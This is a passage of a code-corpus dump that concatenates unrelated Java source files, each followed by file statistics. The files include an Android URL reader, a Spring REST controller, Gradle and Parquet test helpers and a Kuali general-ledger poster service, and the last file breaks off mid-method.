package com.awesome.medifofo; import android.util.Log; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; /** * Created by Eunsik on 2017-06-19. */ class DownloadURL { public String readUrl(String param_url) throws IOException { String data = ""; InputStream inputStream = null; HttpURLConnection connection = null; try { URL url = new URL(param_url); connection = (HttpURLConnection) url.openConnection(); inputStream = connection.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); StringBuilder builder = new StringBuilder(); String line = ""; while ((line = bufferedReader.readLine()) != null) { builder.append(line); } data = builder.toString(); Log.d("downloadURL", data); bufferedReader.close(); } catch (Exception e) { Log.d("Exception", e.toString()); } finally { inputStream.close(); connection.disconnect(); } return data; } }
25.74
99
0.602176
33c5885e49c17b7b256e03f351277bdaf8a95021
1,040
package com.bj58.argo.utils; import com.bj58.argo.ArgoException; import sun.net.util.IPAddressUtil; import java.net.InetAddress; import java.net.UnknownHostException; public class NetUtils { private NetUtils() {} /** * 将ip地址由文本转换为byte数组 * @param ipText * @return */ public static byte[] getDigitalFromText(String ipText) { byte[] ip = IPAddressUtil.textToNumericFormatV4(ipText); if (ip != null) return ip; ip = IPAddressUtil.textToNumericFormatV6(ipText); if (ip != null) return ip; throw ArgoException.raise(new UnknownHostException("[" + ipText + "]")); } public static InetAddress getInetAddressFromText(String ipText) { byte[] ip = getDigitalFromText(ipText); try { return InetAddress.getByAddress(ip); } catch (UnknownHostException e) { throw ArgoException.raise(new UnknownHostException("[" + ipText + "]")); } } }
24.186047
85
0.6
bb08444e390d08bf22799daa27350ac648e81086
2,049
/* * Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE * file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file * to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. */ package org.apache.tuweni.ethstats; import com.fasterxml.jackson.annotation.JsonGetter; public final class NodeStats { private final boolean active; private final boolean syncing; private final boolean mining; private final int hashrate; private final int peerCount; private final int gasPrice; private final int uptime; public NodeStats( boolean active, boolean syncing, boolean mining, int hashrate, int peerCount, int gasPrice, int uptime) { this.active = active; this.syncing = syncing; this.mining = mining; this.hashrate = hashrate; this.peerCount = peerCount; this.gasPrice = gasPrice; this.uptime = uptime; } @JsonGetter("active") public boolean isActive() { return active; } @JsonGetter("syncing") public boolean isSyncing() { return syncing; } @JsonGetter("mining") public boolean isMining() { return mining; } @JsonGetter("hashrate") public int getHashrate() { return hashrate; } @JsonGetter("peers") public int getPeerCount() { return peerCount; } @JsonGetter("gasPrice") public int getGasPrice() { return gasPrice; } @JsonGetter("uptime") public int getUptime() { return uptime; } }
25.936709
120
0.70815
4ed1d4823df691203d8dc5f5a9abaa6ecf1c943a
982
package graphics; public class Framelimiter { public static long Before_time = System.currentTimeMillis(); public static int Limit_FPS = 1000; private static final int WaitTime = 1000 / Limit_FPS; public static void setLimit_FPS(int FPS) { Limit_FPS = FPS; } public static void setFPS_UP(int num) { Limit_FPS += num; System.out.println(Limit_FPS); } public static void setFPS_Down(int num) { Limit_FPS -= num; System.out.println(Limit_FPS); } public static void limitFPS() throws InterruptedException { Thread.sleep(getWaitTime()); setTime(); } private static void setTime() { Before_time = System.currentTimeMillis(); } private static long getWaitTime() { if (System.currentTimeMillis() - Before_time > WaitTime) { return 0; } else { return WaitTime - (System.currentTimeMillis() - Before_time); } } }
25.179487
73
0.621181
161d5f843c96d4aee816f470d5fdccb31ba2f09f
90
package com.project.EStore.service.domain.order; public interface OrderDetailService { }
18
48
0.822222
c4b1057cf720915f86273c08a0e20a4ccc4b5828
1,698
package one.digitalinnovation.citiesapididi.controller; import lombok.AllArgsConstructor; import one.digitalinnovation.citiesapididi.entity.State; import one.digitalinnovation.citiesapididi.exception.StateNotFoundException; import one.digitalinnovation.citiesapididi.repository.StateRepository; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.data.domain.Pageable; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.Optional; @RestController @RequestMapping("/api/v1/states") @AllArgsConstructor(onConstructor = @__(@Autowired)) public class StateController { private static Logger log = LoggerFactory.getLogger(StateController.class); private final StateRepository repository; // public StateController(final StateRepository repository) { // this.repository = repository; // } @GetMapping public Page<State> states(final Pageable page) { log.info("states, {}", page); return repository.findAll(page); } @GetMapping("/{id}") public ResponseEntity<State> findById(@PathVariable Long id) throws StateNotFoundException { Optional<State> stateOptional = repository.findById(id); if (stateOptional.isPresent()) return ResponseEntity.ok().body(stateOptional.get()); throw new StateNotFoundException(id); } }
37.733333
96
0.78563
8cc04dbed28a2581bb25cf7c9bc5913c65eddad4
6,427
/* * Copyright 2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.exemplar.test.rule; import org.apache.commons.io.FileUtils; import org.junit.rules.TemporaryFolder; import org.junit.rules.TestRule; import org.junit.runner.Description; import org.junit.runners.model.Statement; import java.io.Closeable; import java.io.File; import java.io.IOException; import static org.junit.Assert.assertNotNull; /** * A JUnit rule which copies a sample into the test directory before the test executes. * * <p>Looks for a {@link UsesSample} annotation on the test method to determine which sample the * test requires. If not found, uses the default sample provided in the constructor. */ public class Sample implements TestRule { private final SourceSampleDirSupplier sourceSampleDirSupplier; private TargetBaseDirSupplier targetBaseDirSupplier; private String defaultSampleName; private String sampleName; private File targetDir; public static Sample from(final String sourceBaseDirPath) { return from(new SourceSampleDirSupplier() { @Override public File getDir(String sampleName) { return new File(sourceBaseDirPath, sampleName); } }); } public static Sample from(SourceSampleDirSupplier sourceSampleDirSupplier) { return new Sample(sourceSampleDirSupplier); } private Sample(SourceSampleDirSupplier sourceSampleDirSupplier) { this.sourceSampleDirSupplier = sourceSampleDirSupplier; } /** * Copy the samples into the supplied {@link TemporaryFolder}. * * @deprecated please use {@link #intoTemporaryFolder()} or {@link #intoTemporaryFolder(File)} */ @Deprecated public Sample into(final TemporaryFolder temporaryFolder) { return into(new TargetBaseDirSupplier() { @Override public File getDir() { try { return temporaryFolder.newFolder("samples"); } catch (IOException e) { throw new RuntimeException("Could not create samples target base dir", e); } } }); } /** * Copy the samples into a temporary folder that is attempted to be deleted afterwards. */ public Sample intoTemporaryFolder() { return intoTemporaryFolder(null); } /** * Copy the samples into a temporary folder that is attempted to be deleted afterwards. * * @param parentFolder The parent folder of the created temporary folder */ public Sample intoTemporaryFolder(File parentFolder) { return into(new ManagedTemporaryFolder(parentFolder)); } /** * Copy the samples into a folder returned by the supplied {@link TargetBaseDirSupplier}. * * @see TargetBaseDirSupplier */ public Sample into(TargetBaseDirSupplier targetBaseDirSupplier) { this.targetBaseDirSupplier = targetBaseDirSupplier; return this; } public Sample withDefaultSample(String name) { this.defaultSampleName = name; return this; } public interface SourceSampleDirSupplier { File getDir(String sampleName); } /** * Supplier for the base directory into which samples are copied. * * May optionally implement {@link Closeable} in which case it will be called after test execution to clean up. */ public interface TargetBaseDirSupplier { File getDir(); } @Override public Statement apply(final Statement base, Description description) { if (targetBaseDirSupplier == null) { intoTemporaryFolder(); } sampleName = getSampleName(description); return new Statement() { @Override public void evaluate() throws Throwable { assertNotNull("No sample selected. Please use @UsesSample or withDefaultSample()", sampleName); try { File srcDir = sourceSampleDirSupplier.getDir(sampleName); FileUtils.copyDirectory(srcDir, getDir()); base.evaluate(); } finally { if (targetBaseDirSupplier instanceof Closeable) { ((Closeable) targetBaseDirSupplier).close(); } } } }; } private String getSampleName(Description description) { UsesSample annotation = description.getAnnotation(UsesSample.class); return annotation != null ? annotation.value() : defaultSampleName; } public File getDir() { if (targetDir == null) { targetDir = computeSampleDir(); } return targetDir; } private File computeSampleDir() { String subDirName = getSampleTargetDirName(); return new File(targetBaseDirSupplier.getDir(), subDirName); } private String getSampleTargetDirName() { if (sampleName == null) { throw new IllegalStateException("This rule hasn't been applied, yet."); } return sampleName; } private static class ManagedTemporaryFolder implements TargetBaseDirSupplier, Closeable { private final TemporaryFolder temporaryFolder; public ManagedTemporaryFolder(File parentFolder) { this.temporaryFolder = new TemporaryFolder(parentFolder); } @Override public File getDir() { try { temporaryFolder.create(); return temporaryFolder.getRoot(); } catch (IOException e) { throw new RuntimeException("Could not create samples target base dir", e); } } @Override public void close() { temporaryFolder.delete(); } } }
32.459596
115
0.643379
208fc9ef93891cee9efdd61a07dc8bf74e4ba7c4
309
package dk.statsbiblioteket.doms.transformers.fileobjectcreator; public class FileIgnoredException extends Throwable { private String filename; public FileIgnoredException(String filename) { this.filename = filename; } public String getFilename() { return filename; } }
22.071429
64
0.721683
2c75176e44e96b092a80f4828a51205baafb715d
3,413
/* * Copyright 2015-2020 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.data.release.build; import static org.springframework.data.release.model.Phase.*; import static org.springframework.data.release.model.Projects.*; import lombok.Getter; import lombok.RequiredArgsConstructor; import org.springframework.data.release.model.ArtifactVersion; import org.springframework.data.release.model.Project; import org.springframework.data.release.utils.Logger; import org.springframework.util.Assert; /** * @author Oliver Gierke */ @RequiredArgsConstructor class PomUpdater { private final Logger logger; private final UpdateInformation information; private final @Getter Project project; public boolean isBuildProject() { return BUILD.equals(project); } public boolean isBomProject() { return BOM.equals(project); } public void updateArtifactVersion(Pom pom) { ArtifactVersion version = information.getProjectVersionToSet(project); logger.log(project, "Updated project version to %s.", version); pom.setVersion(version); } public void updateDependencyProperties(Pom pom) { project.getDependencies().forEach(dependency -> { String dependencyProperty = dependency.getDependencyProperty(); if (pom.getProperty(dependencyProperty) == null) { return; } ArtifactVersion version = information.getProjectVersionToSet(dependency); logger.log(project, "Updating %s dependency version property %s to %s.", dependency.getFullName(), dependencyProperty, version); pom.setProperty(dependencyProperty, version); }); } /** * Updates the version of the parent project in the given {@link Pom}. * * @param pom must not be {@literal null}. */ public void updateParentVersion(Pom pom) { Assert.notNull(pom, "Pom must not be null!"); ArtifactVersion version = information.getParentVersionToSet(); logger.log(project, "Updating Spring Data Build Parent version to %s.", version); pom.setParentVersion(version); } /** * Updates the repository section in the given {@link Pom}. * * @param pom must not be {@literal null}. */ public void updateRepository(Pom pom) { Assert.notNull(pom, "Pom must not be null!"); String message = "Switching to Spring repository %s (%s)."; Repository repository = information.getRepository(); if (PREPARE.equals(information.getPhase())) { logger.log(project, message, repository.getId(), repository.getUrl()); pom.setRepositoryId(repository.getSnapshotId(), repository.getId()); pom.setRepositoryUrl(repository.getId(), repository.getUrl()); } else { logger.log(project, message, repository.getSnapshotId(), repository.getSnapshotUrl()); pom.setRepositoryId(repository.getId(), repository.getSnapshotId()); pom.setRepositoryUrl(repository.getSnapshotId(), repository.getSnapshotUrl()); } } }
29.678261
101
0.744799
7652274f3d07ab071f387d1700370921a5c32a20
1,745
package org.sv.flexobject.hadoop.mapreduce.input.split; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.mapreduce.InputSplit; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.sv.flexobject.hadoop.streaming.parquet.streamable.ParquetSink; import java.util.List; import static org.junit.Assert.*; public class PersistedInputSplitterTest { Configuration rawConf; Path testFileFolder = new Path("test-splits"); @Before public void setUp() throws Exception { rawConf = new Configuration(false); } @After public void tearDown() throws Exception { testFileFolder.getFileSystem(rawConf).delete(testFileFolder, true); } public static void writeTestFile(Configuration conf, Path testFilepath, long... values) throws Exception { try (ParquetSink sink = ParquetSink.builder() .forOutput(testFilepath) .withSchema(TestSplit.class) .withConf(conf).build()) { for (long value : values) sink.put(new TestSplit(value)); } } @Test public void splitFromRealLocation() throws Exception { rawConf.set("sv.input.splits.path", testFileFolder.toString()); writeTestFile(rawConf, new Path(testFileFolder, "file1.parquet"), 5l, 10l, 15l, 20l); PersistedInputSplitter splitter = new PersistedInputSplitter(); List<InputSplit> splits = splitter.split(rawConf); assertEquals(5l, splits.get(0).getLength()); assertEquals(10l, splits.get(1).getLength()); assertEquals(15l, splits.get(2).getLength()); assertEquals(20l, splits.get(3).getLength()); } }
32.314815
110
0.681375
4695f4d2966dae48c9ff993fde24ff31e14ede64
65,927
/* * Copyright 2006-2009 The Kuali Foundation * * Licensed under the Educational Community License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.opensource.org/licenses/ecl2.php * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.kuali.ole.gl.batch.service.impl; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; import java.io.PrintStream; import java.math.BigDecimal; import java.sql.Date; import java.text.DecimalFormat; import java.text.MessageFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Collection; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import org.apache.commons.lang.StringUtils; import org.kuali.ole.coa.businessobject.A21IndirectCostRecoveryAccount; import org.kuali.ole.coa.businessobject.A21SubAccount; import org.kuali.ole.coa.businessobject.Account; import org.kuali.ole.coa.businessobject.AccountingPeriod; import org.kuali.ole.coa.businessobject.IndirectCostRecoveryAccount; import org.kuali.ole.coa.businessobject.IndirectCostRecoveryRate; import org.kuali.ole.coa.businessobject.IndirectCostRecoveryRateDetail; import org.kuali.ole.coa.businessobject.ObjectCode; import org.kuali.ole.coa.businessobject.OffsetDefinition; import org.kuali.ole.coa.businessobject.SubAccount; import org.kuali.ole.coa.dataaccess.IndirectCostRecoveryRateDetailDao; import org.kuali.ole.coa.service.AccountingPeriodService; import org.kuali.ole.coa.service.ObjectCodeService; import org.kuali.ole.coa.service.OffsetDefinitionService; import org.kuali.ole.coa.service.SubAccountService; import org.kuali.ole.gl.GeneralLedgerConstants; import org.kuali.ole.gl.batch.PosterIndirectCostRecoveryEntriesStep; import org.kuali.ole.gl.batch.service.AccountingCycleCachingService; import org.kuali.ole.gl.batch.service.PostTransaction; import org.kuali.ole.gl.batch.service.PosterService; import org.kuali.ole.gl.batch.service.RunDateService; import org.kuali.ole.gl.batch.service.VerifyTransaction; import org.kuali.ole.gl.businessobject.ExpenditureTransaction; import org.kuali.ole.gl.businessobject.OriginEntryFull; import org.kuali.ole.gl.businessobject.OriginEntryInformation; import org.kuali.ole.gl.businessobject.Reversal; import org.kuali.ole.gl.businessobject.Transaction; import org.kuali.ole.gl.dataaccess.ExpenditureTransactionDao; import org.kuali.ole.gl.dataaccess.ReversalDao; import org.kuali.ole.gl.report.LedgerSummaryReport; import org.kuali.ole.gl.report.TransactionListingReport; import org.kuali.ole.gl.service.OriginEntryGroupService; import org.kuali.ole.gl.service.OriginEntryService; import org.kuali.ole.sys.OLEConstants; import org.kuali.ole.sys.OLEKeyConstants; import org.kuali.ole.sys.OLEPropertyConstants; import org.kuali.ole.sys.Message; import org.kuali.ole.sys.businessobject.SystemOptions; import org.kuali.ole.sys.businessobject.UniversityDate; import org.kuali.ole.sys.context.SpringContext; import org.kuali.ole.sys.dataaccess.UniversityDateDao; import org.kuali.ole.sys.exception.InvalidFlexibleOffsetException; import org.kuali.ole.sys.service.FlexibleOffsetAccountService; import org.kuali.ole.sys.service.ReportWriterService; import org.kuali.ole.sys.service.impl.OleParameterConstants; import org.kuali.rice.core.api.config.property.ConfigurationService; import org.kuali.rice.core.api.datetime.DateTimeService; import org.kuali.rice.core.api.util.type.KualiDecimal; import org.kuali.rice.coreservice.framework.parameter.ParameterService; import org.kuali.rice.kns.service.DataDictionaryService; import org.kuali.rice.krad.service.BusinessObjectService; import org.kuali.rice.krad.service.PersistenceService; import org.kuali.rice.krad.service.PersistenceStructureService; import org.kuali.rice.krad.util.ObjectUtils; import org.springframework.transaction.annotation.Transactional; /** * The base implementation of PosterService */ @Transactional public class PosterServiceImpl implements PosterService { private static org.apache.log4j.Logger LOG = org.apache.log4j.Logger.getLogger(PosterServiceImpl.class); public static final KualiDecimal WARNING_MAX_DIFFERENCE = new KualiDecimal("0.03"); public static final String DATE_FORMAT_STRING = "yyyyMMdd"; private List transactionPosters; private VerifyTransaction verifyTransaction; private OriginEntryService originEntryService; private OriginEntryGroupService originEntryGroupService; private DateTimeService dateTimeService; private ReversalDao reversalDao; private UniversityDateDao universityDateDao; private AccountingPeriodService accountingPeriodService; private ExpenditureTransactionDao expenditureTransactionDao; private IndirectCostRecoveryRateDetailDao indirectCostRecoveryRateDetailDao; private ObjectCodeService objectCodeService; private ParameterService parameterService; private ConfigurationService configurationService; private FlexibleOffsetAccountService flexibleOffsetAccountService; private RunDateService runDateService; private SubAccountService subAccountService; private OffsetDefinitionService offsetDefinitionService; private DataDictionaryService dataDictionaryService; private BusinessObjectService businessObjectService; private PersistenceStructureService persistenceStructureService; private ReportWriterService reportWriterService; private ReportWriterService errorListingReportWriterService; private ReportWriterService reversalReportWriterService; private ReportWriterService ledgerSummaryReportWriterService; //private File OUTPUT_ERR_FILE; //private PrintStream OUTPUT_ERR_FILE_ps; //private PrintStream OUTPUT_GLE_FILE_ps; private String batchFileDirectoryName; //private BufferedReader INPUT_GLE_FILE_br = null; //private FileReader INPUT_GLE_FILE = null; private AccountingCycleCachingService accountingCycleCachingService; /** * Post scrubbed GL entries to GL tables. */ public void postMainEntries() { LOG.debug("postMainEntries() started"); Date runDate = dateTimeService.getCurrentSqlDate(); try{ FileReader INPUT_GLE_FILE = new FileReader(batchFileDirectoryName + File.separator + GeneralLedgerConstants.BatchFileSystem.POSTER_INPUT_FILE + GeneralLedgerConstants.BatchFileSystem.EXTENSION); File OUTPUT_ERR_FILE = new File(batchFileDirectoryName + File.separator + GeneralLedgerConstants.BatchFileSystem.POSTER_ERROR_OUTPUT_FILE + GeneralLedgerConstants.BatchFileSystem.EXTENSION); postEntries(PosterService.MODE_ENTRIES, INPUT_GLE_FILE, null, OUTPUT_ERR_FILE); INPUT_GLE_FILE.close(); } catch (FileNotFoundException e1) { e1.printStackTrace(); throw new RuntimeException("PosterMainEntries Stopped: " + e1.getMessage(), e1); } catch (IOException ioe) { LOG.error("postMainEntries stopped due to: " + ioe.getMessage(), ioe); throw new RuntimeException(ioe); } } /** * Post reversal GL entries to GL tables. */ public void postReversalEntries() { LOG.debug("postReversalEntries() started"); Date runDate = dateTimeService.getCurrentSqlDate(); try{ PrintStream OUTPUT_GLE_FILE_ps = new PrintStream(batchFileDirectoryName + File.separator + GeneralLedgerConstants.BatchFileSystem.REVERSAL_POSTER_VALID_OUTPUT_FILE + GeneralLedgerConstants.BatchFileSystem.EXTENSION); File OUTPUT_ERR_FILE = new File(batchFileDirectoryName + File.separator + GeneralLedgerConstants.BatchFileSystem.REVERSAL_POSTER_ERROR_OUTPUT_FILE + GeneralLedgerConstants.BatchFileSystem.EXTENSION); postEntries(PosterService.MODE_REVERSAL, null, OUTPUT_GLE_FILE_ps, OUTPUT_ERR_FILE); OUTPUT_GLE_FILE_ps.close(); } catch (FileNotFoundException e1) { e1.printStackTrace(); throw new RuntimeException("PosterReversalEntries Stopped: " + e1.getMessage(), e1); } } /** * Post ICR GL entries to GL tables. */ public void postIcrEntries() { LOG.debug("postIcrEntries() started"); Date runDate = dateTimeService.getCurrentSqlDate(); try{ FileReader INPUT_GLE_FILE = new FileReader(batchFileDirectoryName + File.separator + GeneralLedgerConstants.BatchFileSystem.ICR_POSTER_INPUT_FILE + GeneralLedgerConstants.BatchFileSystem.EXTENSION); File OUTPUT_ERR_FILE = new File(batchFileDirectoryName + File.separator + GeneralLedgerConstants.BatchFileSystem.ICR_POSTER_ERROR_OUTPUT_FILE + GeneralLedgerConstants.BatchFileSystem.EXTENSION); postEntries(PosterService.MODE_ICR, INPUT_GLE_FILE, null, OUTPUT_ERR_FILE); INPUT_GLE_FILE.close(); } catch (FileNotFoundException e1) { e1.printStackTrace(); throw new RuntimeException("PosterIcrEntries Stopped: " + e1.getMessage(), e1); } catch (IOException ioe) { LOG.error("postIcrEntries stopped due to: " + ioe.getMessage(), ioe); throw new RuntimeException(ioe); } } /** * Actually post the entries. The mode variable decides which entries to post. * * @param mode the poster's current run mode */ protected void postEntries(int mode, FileReader INPUT_GLE_FILE, PrintStream OUTPUT_GLE_FILE_ps, File OUTPUT_ERR_FILE) throws FileNotFoundException { if (LOG.isDebugEnabled()) { LOG.debug("postEntries() started"); } PrintStream OUTPUT_ERR_FILE_ps = new PrintStream(OUTPUT_ERR_FILE); BufferedReader INPUT_GLE_FILE_br = null; if (INPUT_GLE_FILE != null) { INPUT_GLE_FILE_br = new BufferedReader(INPUT_GLE_FILE); } String GLEN_RECORD; Date executionDate = new Date(dateTimeService.getCurrentDate().getTime()); Date runDate = new Date(runDateService.calculateRunDate(executionDate).getTime()); UniversityDate runUniversityDate = (UniversityDate)SpringContext.getBean(BusinessObjectService.class).findBySinglePrimaryKey(UniversityDate.class, runDate); LedgerSummaryReport ledgerSummaryReport = new LedgerSummaryReport(); // Build the summary map so all the possible combinations of destination & operation // are included in the summary part of the report. Map reportSummary = new HashMap(); for (Iterator posterIter = transactionPosters.iterator(); posterIter.hasNext();) { PostTransaction poster = (PostTransaction) posterIter.next(); reportSummary.put(poster.getDestinationName() + "," + GeneralLedgerConstants.DELETE_CODE, new Integer(0)); reportSummary.put(poster.getDestinationName() + "," + GeneralLedgerConstants.INSERT_CODE, new Integer(0)); reportSummary.put(poster.getDestinationName() + "," + GeneralLedgerConstants.UPDATE_CODE, new Integer(0)); } int ecount = 0; OriginEntryFull tran = null; Transaction reversalTransaction = null; try { if ((mode == PosterService.MODE_ENTRIES) || (mode == PosterService.MODE_ICR)) { LOG.debug("postEntries() Processing groups"); while ((GLEN_RECORD = INPUT_GLE_FILE_br.readLine()) != null) { if (!org.apache.commons.lang.StringUtils.isEmpty(GLEN_RECORD) && !org.apache.commons.lang.StringUtils.isBlank(GLEN_RECORD.trim())) { ecount++; GLEN_RECORD = org.apache.commons.lang.StringUtils.rightPad(GLEN_RECORD, 183, ' '); tran = new OriginEntryFull(); // checking parsing process and stop poster when it has errors. List<Message> parsingError = new ArrayList(); parsingError = tran.setFromTextFileForBatch(GLEN_RECORD, ecount); if (parsingError.size() > 0) { String messages = ""; for(Message msg : parsingError) {messages += msg + " ";} throw new RuntimeException("Exception happened from parsing process: " + messages); } // need to pass ecount for building better message addReporting(reportSummary, "SEQUENTIAL", GeneralLedgerConstants.SELECT_CODE); postTransaction(tran, mode, reportSummary, ledgerSummaryReport, OUTPUT_ERR_FILE_ps, runUniversityDate, GLEN_RECORD, OUTPUT_GLE_FILE_ps); if (ecount % 1000 == 0) { LOG.info("postEntries() Posted Entry " + ecount); } } } if (INPUT_GLE_FILE_br != null) { INPUT_GLE_FILE_br.close(); } OUTPUT_ERR_FILE_ps.close(); reportWriterService.writeStatisticLine("SEQUENTIAL RECORDS READ %,9d", reportSummary.get("SEQUENTIAL,S")); } else { if (LOG.isDebugEnabled()) { LOG.debug("postEntries() Processing reversal transactions"); } final String GL_REVERSAL_T = getPersistenceStructureService().getTableName(Reversal.class); Iterator reversalTransactions = reversalDao.getByDate(runDate); TransactionListingReport reversalListingReport = new TransactionListingReport(); while (reversalTransactions.hasNext()) { ecount++; reversalTransaction = (Transaction) reversalTransactions.next(); addReporting(reportSummary, GL_REVERSAL_T, GeneralLedgerConstants.SELECT_CODE); boolean posted = postTransaction(reversalTransaction, mode, reportSummary, ledgerSummaryReport, OUTPUT_ERR_FILE_ps, runUniversityDate, GL_REVERSAL_T, OUTPUT_GLE_FILE_ps); if (posted) { reversalListingReport.generateReport(reversalReportWriterService, reversalTransaction); } if (ecount % 1000 == 0) { LOG.info("postEntries() Posted Entry " + ecount); } } OUTPUT_ERR_FILE_ps.close(); reportWriterService.writeStatisticLine("GLRV RECORDS READ (GL_REVERSAL_T) %,9d", reportSummary.get("GL_REVERSAL_T,S")); reversalListingReport.generateStatistics(reversalReportWriterService); } //PDF version had this abstracted to print I/U/D for each table in 7 posters, but some statistics are meaningless (i.e. GLEN is never updated), so un-abstracted here reportWriterService.writeStatisticLine("GLEN RECORDS INSERTED (GL_ENTRY_T) %,9d", reportSummary.get("GL_ENTRY_T,I")); reportWriterService.writeStatisticLine("GLBL RECORDS INSERTED (GL_BALANCE_T) %,9d", reportSummary.get("GL_BALANCE_T,I")); reportWriterService.writeStatisticLine("GLBL RECORDS UPDATED (GL_BALANCE_T) %,9d", reportSummary.get("GL_BALANCE_T,U")); reportWriterService.writeStatisticLine("GLEX RECORDS INSERTED (GL_EXPEND_TRN_MT) %,9d", reportSummary.get("GL_EXPEND_TRN_MT,I")); reportWriterService.writeStatisticLine("GLEX RECORDS UPDATED (GL_EXPEND_TRN_MT) %,9d", reportSummary.get("GL_EXPEND_TRN_MT,U")); reportWriterService.writeStatisticLine("GLEC RECORDS INSERTED (GL_ENCUMBRANCE_T) %,9d", reportSummary.get("GL_ENCUMBRANCE_T,I")); reportWriterService.writeStatisticLine("GLEC RECORDS UPDATED (GL_ENCUMBRANCE_T) %,9d", reportSummary.get("GL_ENCUMBRANCE_T,U")); reportWriterService.writeStatisticLine("GLRV RECORDS INSERTED (GL_REVERSAL_T) %,9d", reportSummary.get("GL_REVERSAL_T,I")); reportWriterService.writeStatisticLine("GLRV RECORDS DELETED (GL_REVERSAL_T) %,9d", reportSummary.get("GL_REVERSAL_T,D")); reportWriterService.writeStatisticLine("SFBL RECORDS INSERTED (GL_SF_BALANCES_T) %,9d", reportSummary.get("GL_SF_BALANCES_T,I")); reportWriterService.writeStatisticLine("SFBL RECORDS UPDATED (GL_SF_BALANCES_T) %,9d", reportSummary.get("GL_SF_BALANCES_T,U")); reportWriterService.writeStatisticLine("ACBL RECORDS INSERTED (GL_ACCT_BALANCES_T) %,9d", reportSummary.get("GL_ACCT_BALANCES_T,I")); reportWriterService.writeStatisticLine("ACBL RECORDS UPDATED (GL_ACCT_BALANCES_T) %,9d", reportSummary.get("GL_ACCT_BALANCES_T,U")); reportWriterService.writeStatisticLine("ERROR RECORDS WRITTEN %,9d", reportSummary.get("WARNING,I")); } catch (RuntimeException re) { LOG.error("postEntries stopped due to: " + re.getMessage() + " on line number : " + ecount, re); LOG.error("tran failure occured on: " + tran == null ? null : tran.toString()); LOG.error("reversalTransaction failure occured on: " + reversalTransaction == null ? null : reversalTransaction.toString()); throw new RuntimeException("PosterService Stopped: " + re.getMessage(), re); } catch (IOException e) { LOG.error("postEntries stopped due to: " + e.getMessage(), e); throw new RuntimeException(e); } catch (Exception e) { // do nothing - handled in postTransaction method. } LOG.info("postEntries() done, total count = " + ecount); // Generate the reports ledgerSummaryReport.writeReport(ledgerSummaryReportWriterService); new TransactionListingReport().generateReport(errorListingReportWriterService, new OriginEntryFileIterator(OUTPUT_ERR_FILE)); } /** * Runs the given transaction through each transaction posting algorithms associated with this instance * * @param tran a transaction to post * @param mode the mode the poster is running in * @param reportSummary a Map of summary counts generated by the posting process * @param ledgerSummaryReport for summary reporting * @param invalidGroup the group to save invalid entries to * @param runUniversityDate the university date of this poster run * @param line * @return whether the transaction was posted or not. Useful if calling class attempts to report on the transaction */ protected boolean postTransaction(Transaction tran, int mode, Map<String,Integer> reportSummary, LedgerSummaryReport ledgerSummaryReport, PrintStream invalidGroup, UniversityDate runUniversityDate, String line, PrintStream OUTPUT_GLE_FILE_ps) { List<Message> errors = new ArrayList(); Transaction originalTransaction = tran; try { final String GL_ORIGIN_ENTRY_T = getPersistenceStructureService().getTableName(OriginEntryFull.class); // Update select count in the report if ((mode == PosterService.MODE_ENTRIES) || (mode == PosterService.MODE_ICR)) { addReporting(reportSummary, GL_ORIGIN_ENTRY_T, GeneralLedgerConstants.SELECT_CODE); } // If these are reversal entries, we need to reverse the entry and // modify a few fields if (mode == PosterService.MODE_REVERSAL) { Reversal reversal = new Reversal(tran); // Reverse the debit/credit code if (OLEConstants.GL_DEBIT_CODE.equals(reversal.getTransactionDebitCreditCode())) { reversal.setTransactionDebitCreditCode(OLEConstants.GL_CREDIT_CODE); } else if (OLEConstants.GL_CREDIT_CODE.equals(reversal.getTransactionDebitCreditCode())) { reversal.setTransactionDebitCreditCode(OLEConstants.GL_DEBIT_CODE); } UniversityDate udate = (UniversityDate)SpringContext.getBean(BusinessObjectService.class).findBySinglePrimaryKey(UniversityDate.class, reversal.getFinancialDocumentReversalDate()); if (udate != null) { reversal.setUniversityFiscalYear(udate.getUniversityFiscalYear()); reversal.setUniversityFiscalPeriodCode(udate.getUniversityFiscalAccountingPeriod()); AccountingPeriod ap = accountingPeriodService.getByPeriod(reversal.getUniversityFiscalPeriodCode(), 